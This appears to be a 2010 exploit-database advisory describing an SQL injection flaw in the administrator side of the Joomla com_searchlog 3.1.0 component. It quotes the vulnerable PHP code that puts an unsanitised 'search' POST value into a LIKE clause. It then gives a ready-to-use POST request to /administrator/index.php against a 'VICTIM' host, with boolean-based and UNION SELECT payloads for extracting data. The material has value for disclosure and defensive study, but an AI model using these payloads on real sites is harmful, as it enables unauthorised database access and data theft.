Home / os / win7

Joomla Component com_searchlog SQL Injection Vulnerability

Posted on 05 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla Component com_searchlog SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================== Joomla Component com_searchlog SQL Injection Vulnerability ========================================================== #Exploit Title: Joomla Component com_searchlog SQL Injection #Date: 05/06/2010 #Author: d0lc3 d0lc3x[at]gmail[dom]com #Software Link: http://www.kanich.net/radio/site/searchlog/searchlog-download #Version: 3.1.0 #Tested on: Linux ubuntu32 2.6.32-22-generic x64 #Summary: Good nights, at this occassion we have other not-saned POST variable on administrator/components/com_searchlog/models/log.php, line 30: ... $search = $mainframe-&gt;getUserStateFromRequest($option . '.search', 'search', '', 'string'); //wtf!? $this-&gt;filter_actid = $mainframe-&gt;getUserStateFromRequest($option .'actid','actid',0,'int'); $data-&gt;search = JString::strtolower($search); //wtf!? $callbase = JRequest::getInt('callbase', 1); $newact =JRequest::getString('newact'); $data-&gt;newact = &quot;&quot;; if ($task==&quot;&quot; and $newact!=&quot;&quot;) { $data-&gt;newact = $newact; }if ($task == 'upload' or $task == 'savenew') { $data-&gt;sort = 'dates'; $limitstart = 0; }else { $data-&gt;sort = JRequest::getVar('sort', 'calls'); }if ($data-&gt;search) { $where[] = &quot;(LOWER( m.call ) LIKE '$data-&gt;search%' OR LOWER( m.call ) LIKE '%/$data-&gt;search%')&quot;; //likely SQLi ... In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header: http://VICTIM/administrator/index.php?option=com_searchlog&amp;act=log POST /administrator/index.php?option=com_searchlog&amp;act=log HTTP/1.1 Host: VICTIM Content-Type: application/x-www-form-urlencoded Content-Length: xxx search=[SQLi] &amp;sort=calls&amp;limit=20&amp;limitstart=0&amp;option=com_searchlog&amp;act=log&amp;task=&amp;callbase=1&amp;boxchecked=1&amp;hidemainmenu=0 Where [SQLi] = someLogExisting') and 1=1# =&gt; true someLogExisting') and 1=2# =&gt; false UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8# # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP